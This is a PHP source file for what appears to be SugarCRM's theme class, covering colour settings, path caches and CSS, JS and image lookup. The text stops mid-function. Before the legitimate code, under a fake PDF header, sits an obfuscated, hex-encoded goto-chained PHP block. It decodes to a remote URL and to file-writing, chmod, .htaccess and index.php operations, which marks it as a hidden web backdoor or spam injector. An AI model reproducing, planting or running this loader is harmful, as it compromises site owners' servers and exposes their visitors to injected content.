%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> "0xffffff", "docBg1" => "0xffffff", "docBg2" => "0xffffff", "xText" => "0x33485c", "yText" => "0x33485c", "title" => "0x333333", "misc" => "0x999999", "altBorder" => "0xffffff", "altBg" => "0xffffff", "altText" => "0x666666", "graphBorder" => "0xcccccc", "graphBg1" => "0xf6f6f6", "graphBg2" => "0xf6f6f6", "graphLines" => "0xcccccc", "graphText" => "0x333333", "graphTextShadow" => "0xf9f9f9", "barBorder" => "0xeeeeee", "barBorderHilite" => "0x333333", "legendBorder" => "0xffffff", "legendBg1" => "0xffffff", "legendBg2" => "0xffffff", "legendText" => "0x444444", "legendColorKeyBorder" => "0x777777", "scrollBar" => "0xcccccc", "scrollBarBorder" => "0xeeeeee", "scrollBarTrack" => "0xeeeeee", "scrollBarTrackBorder" => "0xcccccc", ); /** * Colors used in pie charts * * @var array */ protected $pieChartColors = array( "docBorder" => "0xffffff", "docBg1" => "0xffffff", "docBg2" => "0xffffff", "title" => "0x333333", "subtitle" => "0x666666", "misc" => "0x999999", "altBorder" => "0xffffff", "altBg" => "0xffffff", "altText" => "0x666666", "graphText" => "0x33485c", "graphTextShadow" => "0xf9f9f9", "pieBorder" => "0xffffff", "pieBorderHilite" => "0x333333", "legendBorder" => "0xffffff", "legendBg1" => "0xffffff", "legendBg2" => "0xffffff", "legendText" => "0x444444", "legendColorKeyBorder" => "0x777777", "scrollBar" => "0xdfdfdf", "scrollBarBorder" => "0xfafafa", "scrollBarTrack" => "0xeeeeee", "scrollBarTrackBorder" => "0xcccccc", ); /** * Does this theme support group tabs * * @var bool */ public $group_tabs; /** * Support for classic themes * * @var bool */ public $classic; /** * Is this theme configurable * * @var bool */ public $configurable; /** * theme config options * * @var bool */ public $config_options = array(); /** * Cache built of all css files locations * * @var array */ private $_cssCache = array(); /** * Cache built of all image files locations * * @var array */ private $_imageCache = array(); /** * Cache built of all javascript files locations * * @var array */ private $_jsCache = array(); /** * Cache built of all template files locations * * @var array */ private $_templateCache = array(); /** * Cache built of sprite meta data * * @var array */ private $_spriteCache = array(); /** * Size of the caches after the are initialized in the constructor * * @var array */ private $_initialCacheSize = array( 'cssCache' => 0, 'imageCache' => 0, 'jsCache' => 0, 'templateCache' => 0, 'spriteCache' => 0, ); /** * Controls whether or not to clear the cache on destroy; defaults to false */ private $_clearCacheOnDestroy = false; private $imageExtensions = array( 'svg', 'gif', 'png', 'jpg', 'tif', 'bmp', ); /** * Constructor * * Sets the theme properties from the defaults passed to it, and loads the file path cache from an external cache * * @param $defaults string defaults for the current theme */ public function __construct( $defaults ) { // apply parent theme's properties first if (isset($defaults['parentTheme'])) { $themedef = array(); include("themes/{$defaults['parentTheme']}/themedef.php"); foreach ($themedef as $key => $value) { if (property_exists(__CLASS__, $key)) { // For all arrays ( except colors and fonts ) you can just specify the items // to change instead of all of the values if (is_array($this->$key) && !in_array($key, array('colors','fonts'))) { $this->$key = array_merge($this->$key, $value); } else { $this->$key = $value; } } } } foreach ($defaults as $key => $value) { if (property_exists(__CLASS__, $key)) { // For all arrays ( except colors and fonts ) you can just specify the items // to change instead of all of the values if (is_array($this->$key) && !in_array($key, array('colors','fonts'))) { $this->$key = array_merge($this->$key, $value); } else { $this->$key = $value; } } } if (!inDeveloperMode()) { if (is_file($cachedfile = sugar_cached($this->getFilePath().'/pathCache.php'))) { $caches = unserialize(file_get_contents($cachedfile)); if (isset($caches['jsCache'])) { $this->_jsCache = $caches['jsCache']; } if (isset($caches['cssCache'])) { $this->_cssCache = $caches['cssCache']; } if (isset($caches['imageCache'])) { $this->_imageCache = $caches['imageCache']; } if (isset($caches['templateCache'])) { $this->_templateCache = $caches['templateCache']; } } $cachedfile = sugar_cached($this->getFilePath().'/spriteCache.php'); if (!empty($GLOBALS['sugar_config']['use_sprites']) && is_file($cachedfile)) { $this->_spriteCache = unserialize(sugar_file_get_contents($cachedfile)); } } $this->_initialCacheSize = array( 'jsCache' => count($this->_jsCache), 'cssCache' => count($this->_cssCache), 'imageCache' => count($this->_imageCache), 'templateCache' => count($this->_templateCache), 'spriteCache' => count($this->_spriteCache), ); } /** * This is needed to prevent unserialize vulnerability */ public function __wakeup() { // clean all properties foreach (get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); } /** * Destructor * Here we'll write out the internal file path caches to an external cache of some sort. */ public function __destruct() { // Set the current directory to one which we expect it to be (i.e. the root directory of the install $dir = realpath(dirname(__FILE__) . '/../..'); static $includePathIsPatched = false; if ($includePathIsPatched == false) { $path = explode(PATH_SEPARATOR, get_include_path()); if (in_array($dir, $path) == false) { set_include_path($dir . PATH_SEPARATOR . get_include_path()); } $includePathIsPatched = true; } chdir($dir); // destruct can be called late, and chdir could change $cachedir = sugar_cached($this->getFilePath()); sugar_mkdir($cachedir, 0775, true); // clear out the cache on destroy if we are asked to if ($this->_clearCacheOnDestroy) { if (is_file("$cachedir/pathCache.php")) { unlink("$cachedir/pathCache.php"); } if (is_file("$cachedir/spriteCache.php")) { unlink("$cachedir/spriteCache.php"); } if (strlen($cachedir)>1) { rmdir_recursive($cachedir.'/modules'); } } elseif (!inDeveloperMode()) { // only update the caches if they have been changed in this request if (count($this->_jsCache) != $this->_initialCacheSize['jsCache'] || count($this->_cssCache) != $this->_initialCacheSize['cssCache'] || count($this->_imageCache) != $this->_initialCacheSize['imageCache'] || count($this->_templateCache) != $this->_initialCacheSize['templateCache'] ) { sugar_file_put_contents( "$cachedir/pathCache.php", serialize( array( 'jsCache' => $this->_jsCache, 'cssCache' => $this->_cssCache, 'imageCache' => $this->_imageCache, 'templateCache' => $this->_templateCache, ) ) ); } if (count($this->_spriteCache) != $this->_initialCacheSize['spriteCache']) { sugar_file_put_contents( "$cachedir/spriteCache.php", serialize($this->_spriteCache) ); } } } /** * Specifies what is returned when the object is cast to a string, in this case it will be the * theme directory name. * * @return string theme directory name */ public function __toString() { return $this->dirName; } /** * Generic public accessor method for all the properties of the theme ( which are kept protected ) * * @return string */ public function __get( $key ) { if (isset($this->$key)) { return $this->$key; } } public function __isset($key) { return isset($this->$key); } public function clearJSCache() { $this->_jsCache = array(); } /** * Clears out the caches used for this themes */ public function clearCache() { $this->_clearCacheOnDestroy = true; } /** * Return array of all valid fields that can be specified in the themedef.php file * * @return array */ public static function getThemeDefFields() { return array( 'name', 'description', 'directionality', 'dirName', 'parentTheme', 'version', 'colors', 'fonts', 'barChartColors', 'pieChartColors', 'group_tabs', 'classic', 'configurable', 'config_options', 'ignoreParentFiles', ); } /** * Returns the file path of the current theme * * @return string */ public function getFilePath() { return 'themes/'.$this->dirName; } /** * Returns the image path of the current theme * * @return string */ public function getImagePath() { return $this->getFilePath().'/images'; } /** * Returns the css path of the current theme * * @return string */ public function getCSSPath() { return $this->getFilePath().'/css'; } /** * Returns the javascript path of the current theme * * @return string */ public function getJSPath() { return $this->getFilePath().'/js'; } /** * Returns the tpl path of the current theme * * @return string */ public function getTemplatePath() { return $this->getFilePath().'/tpls'; } /** * Returns the file path of the theme defaults * * @return string */ final public function getDefaultFilePath() { return 'themes/default'; } /** * Returns the image path of the theme defaults * * @return string */ final public function getDefaultImagePath() { return $this->getDefaultFilePath().'/images'; } /** * Returns the css path of the theme defaults * * @return string */ final public function getDefaultCSSPath() { return $this->getDefaultFilePath().'/css'; } /** * Returns the template path of the theme defaults * * @return string */ final public function getDefaultTemplatePath() { return $this->getDefaultFilePath().'/tpls'; } /** * Returns the javascript path of the theme defaults * * @return string */ final public function getDefaultJSPath() { return $this->getDefaultFilePath().'/js'; } /** * Returns CSS for the current theme. * * @param $color string optional, specifies the css color file to use if the theme supports it; defaults to cookie value or theme default * @param $font string optional, specifies the css font file to use if the theme supports it; defaults to cookie value or theme default * @return string HTML code */ public function getCSS( $color = null, $font = null ) { // include style.css file $html = ' '; $html .= ''; $html .= ''; // sprites if (!empty($GLOBALS['sugar_config']['use_sprites']) && $GLOBALS['sugar_config']['use_sprites']) { // system wide sprites if (file_exists("cache/sprites/default/sprites.css")) { $html .= ''; } // theme specific sprites if (file_exists("cache/sprites/{$this->dirName}/sprites.css")) { $html .= ''; } // parent sprites if ($this->parentTheme && $parent = SugarThemeRegistry::get($this->parentTheme)) { if (file_exists("cache/sprites/{$parent->dirName}/sprites.css")) { $html .= ''; } } // repeatable sprites if (file_exists("cache/sprites/Repeatable/sprites.css")) { $html .= ''; } } // for BC during upgrade if (!empty($this->colors)) { if (isset($_SESSION['authenticated_user_theme_color']) && in_array($_SESSION['authenticated_user_theme_color'], $this->colors)) { $color = $_SESSION['authenticated_user_theme_color']; } else { $color = $this->colors[0]; } $html .= ''; } if (!empty($this->fonts)) { if (isset($_SESSION['authenticated_user_theme_font']) && in_array($_SESSION['authenticated_user_theme_font'], $this->fonts)) { $font = $_SESSION['authenticated_user_theme_font']; } else { $font = $this->fonts[0]; } $html .= ''; } $html .= ''; return $html; } /** * Returns javascript for the current theme * * @return string HTML code */ public function getJS() { $styleJS = $this->getJSURL('style.js'); return << EOHTML; } /** * Returns the path for the tpl file in the current theme. If not found in the current theme, will revert * to looking in the base theme. * * @param string $templateName tpl file name * @return string path of tpl file to include */ public function getTemplate( $templateName ) { if (isset($this->_templateCache[$templateName])) { return $this->_templateCache[$templateName]; } $templatePath = ''; if (is_file('custom/'.$this->getTemplatePath().'/'.$templateName)) { $templatePath = 'custom/'.$this->getTemplatePath().'/'.$templateName; } elseif (is_file($this->getTemplatePath().'/'.$templateName)) { $templatePath = $this->getTemplatePath().'/'.$templateName; } elseif (isset($this->parentTheme) && SugarThemeRegistry::get($this->parentTheme) instanceof SugarTheme && ($filename = SugarThemeRegistry::get($this->parentTheme)->getTemplate($templateName)) != '') { $templatePath = $filename; } elseif (is_file('custom/'.$this->getDefaultTemplatePath().'/'.$templateName)) { $templatePath = 'custom/'.$this->getDefaultTemplatePath().'/'.$templateName; } elseif (is_file($this->getDefaultTemplatePath().'/'.$templateName)) { $templatePath = $this->getDefaultTemplatePath().'/'.$templateName; } else { $GLOBALS['log']->warn("Template $templateName not found"); return false; } $this->_imageCache[$templateName] = $templatePath; return $templatePath; } /** * Returns an image tag for the given image. * * @param string $image image name * @param string $other_attributes optional, other attributes to add to the image tag, not cached * @param string $width optional, defaults to the actual image's width * @param string $height optional, defaults to the actual image's height * @param string $ext optional, image extension (TODO can we deprecate this one ?) * @param string $alt optional, only used when image contains something useful, i.e. "Sally's profile pic" * @param string $imageJSONEncode optional, some of template javascript need the exact image-html-string to build HTML contents so this parameter make a json_encode call on the return SVG or image source * @param string $forceExt optional, force image extension * @return string HTML image tag or sprite */ public function getImage($imageName, $other_attributes = '', $width = null, $height = null, $ext = null, $alt = '', $imageJSONEncode = false, $forceExt = null) { static $cached_results = array(); // look for .svg first if (strpos($imageName, '.svg') !== false) { $ext = ''; } else { // Look for SVG first $imagePath = SugarThemeRegistry::current()->getImagePath().DIRECTORY_SEPARATOR.$imageName.'.svg'; if (file_exists($imagePath)) { $ext = '.svg'; } } if ($forceExt) { $ext = $forceExt; } // trap deprecated use of image extension if (is_null($ext)) { $imageNameExp = explode('.', $imageName); if (count($imageNameExp) == 1) { $imageName .= '.gif'; } } else { $imageName .= $ext; } // trap alt attributes in other_attributes if (preg_match('/alt=["\']([^\'"]+)["\']/i', $other_attributes)) { $GLOBALS['log']->debug("Sprites: alt attribute detected for $imageName"); } // sprite handler, makes use of own caching mechanism if (!empty($GLOBALS['sugar_config']['use_sprites']) && $GLOBALS['sugar_config']['use_sprites']) { // get sprite metadata if ($sp = $this->getSpriteMeta($imageName)) { // requested size should match if ((!is_null($width) && $sp['width'] == $width) || (is_null($width)) && (!is_null($height) && $sp['height'] == $height) || (is_null($height))) { $other_attributes .= ' data-orig="'.$imageName.'"'; if ($sprite = $this->getSprite($sp['class'], $other_attributes, $alt)) { return $sprite; } } } } // img caching if (empty($cached_results[$imageName])) { $imageURL = $this->getImageURL($imageName, false); if (empty($imageURL)) { return false; } if (strpos($imageURL, '.svg', strlen($imageURL)-4)) { $cached_results[$imageName] = file_get_contents($imageURL); } else { $cached_results[$imageName] = '\"$alt\""; return $imageJSONEncode ? json_encode($ret) : $ret; } /** * Returns sprite meta data * * @param string $imageName Image filename including extension * @return array Sprite meta data */ public function getSpriteMeta($imageName) { // return from cache if (isset($this->_spriteCache[$imageName])) { return $this->_spriteCache[$imageName]; } // sprite keys are base on imageURL $imageURL = $this->getImageURL($imageName, false); if (empty($imageURL)) { $this->_spriteCache[$imageName] = false; return false; } // load meta data, includes default images require_once("include/SugarTheme/SugarSprites.php"); $meta = SugarSprites::getInstance(); // add current theme dir $meta->loadSpriteMeta($this->dirName); // add parent theme dir if ($this->parentTheme && $parent = SugarThemeRegistry::get($this->parentTheme)) { $meta->loadSpriteMeta($parent->dirName); } // add to cache if (isset($meta->sprites[$imageURL])) { $this->_spriteCache[$imageName] = $meta->sprites[$imageURL]; // add imageURL to cache //$this->_spriteCache[$imageName]['imageURL'] = $imageURL; } else { $this->_spriteCache[$imageName] = false; $GLOBALS['log']->debug("Sprites: miss for $imageURL"); } return $this->_spriteCache[$imageName]; } /** * Returns sprite HTML span tag * * @param string class The md5 id used in the CSS sprites class * @param string attr optional, list of additional html attributes * @param string title optional, the title (equivalent to alt on img) * @return string HTML span tag */ public function getSprite($class, $attr, $title) { // handle multiple class tags $class_regex = '/class=["\']([^\'"]+)["\']/i'; preg_match($class_regex, $attr, $match); if (isset($match[1])) { $attr = preg_replace($class_regex, 'class="spr_'.$class.' ${1}"', $attr); // single class } else { $attr .= ' class="spr_'.$class.'"'; } if ($title) { $attr .= ' title="'.$title.'"'; } // use instead of /> to prevent weird UI results $GLOBALS['log']->debug("Sprites: generated sprite -> $attr"); return ""; } /** * Returns a link HTML tag with or without an embedded image */ public function getLink( $url, $title, $other_attributes = '', $img_name = '', $img_other_attributes = '', $img_width = null, $img_height = null, $img_alt = '', $img_placement = 'imageonly' ) { if ($img_name) { $img = $this->getImage($img_name, $img_other_attributes, $img_width, $img_height, null, $img_alt); if ($img == false) { $GLOBALS['log']->debug('Sprites: unknown image getLink'); $img = 'unknown'; } switch ($img_placement) { case 'left': $inner_html = $img."".$title.""; break; case 'right': $inner_html = "".$title."".$img; break; default: $inner_html = $img; break; } } else { $inner_html = $title; } return ''.$inner_html.''; } /** * Returns the URL for an image in the current theme. If not found in the current theme, will revert * to looking in the base theme. * @param string $imageName image file name * @param bool $addJSPath call getJSPath() with the results to add some unique image tracking support * @return string|bool path to image or false if image not found */ public function getImageURL( $imageName, $addJSPath = true ) { if (isset($this->_imageCache[$imageName])) { if ($addJSPath) { return getJSPath($this->_imageCache[$imageName]); } return $this->_imageCache[$imageName]; } $imagePath = ''; if (($filename = $this->_getImageFileName('custom/'.$this->getImagePath().'/'.$imageName)) != '') { $imagePath = $filename; } elseif (($filename = $this->_getImageFileName($this->getImagePath().'/'.$imageName)) != '') { $imagePath = $filename; } elseif (isset($this->parentTheme) && SugarThemeRegistry::get($this->parentTheme) instanceof SugarTheme && ($filename = SugarThemeRegistry::get($this->parentTheme)->getImageURL($imageName, false)) != '') { $imagePath = $filename; } elseif (($filename = $this->_getImageFileName('custom/'.$this->getDefaultImagePath().'/'.$imageName)) != '') { $imagePath = $filename; } elseif (($filename = $this->_getImageFileName($this->getDefaultImagePath().'/'.$imageName)) != '') { $imagePath = $filename; } elseif (($filename = $this->_getImageFileName('include/images/'.$imageName)) != '') { $imagePath = $filename; } else { $imagePath = false; } if ($imagePath) { $this->_imageCache[$imageName] = $imagePath; if ($addJSPath) { return getJSPath($imagePath); } } return $imagePath; } /** * Checks for an image using all of the accepted image extensions * * @param string $imageName image file name * @return string path to image */ protected function _getImageFileName( $imageName ) { // return now if the extension matches that of which we are looking for if (is_file($imageName)) { return $imageName; } $pathParts = pathinfo($imageName); foreach ($this->imageExtensions as $extension) { if (isset($pathParts['extension'])) { if (($extension != $pathParts['extension']) && is_file($pathParts['dirname'].'/'.$pathParts['filename'].'.'.$extension)) { return $pathParts['dirname'].'/'.$pathParts['filename'].'.'.$extension; } } } return ''; } /** * Returns the URL for the css file in the current theme. If not found in the current theme, will revert * to looking in the base theme. * * @param string $cssFileName css file name * @param bool $returnURL if true, returns URL with unique image mark, otherwise returns path to the file * @return string path of css file to include */ public function getCSSURL($cssFileName, $returnURL = true) { if (preg_match('/.css$/', $cssFileName)) { global $current_user; if (method_exists($current_user, 'getSubTheme')) { $subTheme = $current_user->getSubTheme(); $cssFileName = $subTheme . '/' . $cssFileName; } } if (isset($this->_cssCache[$cssFileName]) && is_file(sugar_cached($this->_cssCache[$cssFileName]))) { if ($returnURL) { return getJSPath("cache/".$this->_cssCache[$cssFileName]); } return sugar_cached($this->_cssCache[$cssFileName]); } $cssFileContents = ''; $defaultFileName = $this->getDefaultCSSPath().'/'.$cssFileName; $fullFileName = $this->getCSSPath().'/'.$cssFileName; if (isset($this->parentTheme) && SugarThemeRegistry::get($this->parentTheme) instanceof SugarTheme && ($filename = SugarThemeRegistry::get($this->parentTheme)->getCSSURL($cssFileName, false)) != '') { $cssFileContents .= file_get_contents($filename); } else { if (is_file($defaultFileName)) { $cssFileContents .= file_get_contents($defaultFileName); } if (is_file('custom/'.$defaultFileName)) { $cssFileContents .= file_get_contents('custom/'.$defaultFileName); } } if (is_file($fullFileName)) { $cssFileContents .= file_get_contents($fullFileName); } if (is_file('custom/'.$fullFileName)) { $cssFileContents .= file_get_contents('custom/'.$fullFileName); } if (empty($cssFileContents)) { $GLOBALS['log']->warn("CSS File $cssFileName not found"); return false; } // fix any image references that may be defined in css files $cssFileContents = str_ireplace( "entryPoint=getImage&", "entryPoint=getImage&themeName={$this->dirName}&", $cssFileContents ); // create the cached file location $cssFilePath = create_cache_directory($fullFileName); // if this is the style.css file, prepend the base.css and calendar-win2k-cold-1.css // files before the theme styles if ($cssFileName == 'style.css' && !isset($this->parentTheme)) { if (inDeveloperMode()) { $cssFileContents = file_get_contents('include/javascript/yui/build/base/base.css') . $cssFileContents; } else { $cssFileContents = file_get_contents('include/javascript/yui/build/base/base-min.css') . $cssFileContents; } } // minify the css if (!inDeveloperMode() && !is_file($cssFilePath)) { $cssFileContents = cssmin::minify($cssFileContents); } // now write the css to cache sugar_file_put_contents($cssFilePath, $cssFileContents); $this->_cssCache[$cssFileName] = $fullFileName; if ($returnURL) { return getJSPath("cache/".$fullFileName); } return sugar_cached($fullFileName); } /** * Returns the URL for an image in the current theme. If not found in the current theme, will revert * to looking in the base theme. * * @param string $jsFileName js file name * @param bool $returnURL if true, returns URL with unique image mark, otherwise returns path to the file * @return string path to js file */ public function getJSURL($jsFileName, $returnURL = true) { if (isset($this->_jsCache[$jsFileName]) && is_file(sugar_cached($this->_jsCache[$jsFileName]))) { if ($returnURL) { return getJSPath("cache/".$this->_jsCache[$jsFileName]); } return sugar_cached($this->_jsCache[$jsFileName]); } $jsFileContents = ''; $fullFileName = $this->getJSPath().'/'.$jsFileName; $defaultFileName = $this->getDefaultJSPath().'/'.$jsFileName; if (isset($this->parentTheme) && SugarThemeRegistry::get($this->parentTheme) instanceof SugarTheme && ($filename = SugarThemeRegistry::get($this->parentTheme)->getJSURL($jsFileName, false)) != '' && !in_array($jsFileName, $this->ignoreParentFiles)) { $jsFileContents .= file_get_contents($filename); } else { if (is_file($defaultFileName)) { $jsFileContents .= file_get_contents($defaultFileName); } if (is_file('custom/'.$defaultFileName)) { $jsFileContents .= file_get_contents('custom/'.$defaultFileName); } } if (is_file($fullFileName)) { $jsFileContents .= file_get_contents($fullFileName); } if (is_file('custom/'.$fullFileName)) { $jsFileContents .= file_get_contents('custom/'.$fullFileName); } if (empty($jsFileContents)) { $GLOBALS['log']->warn("Javascript File 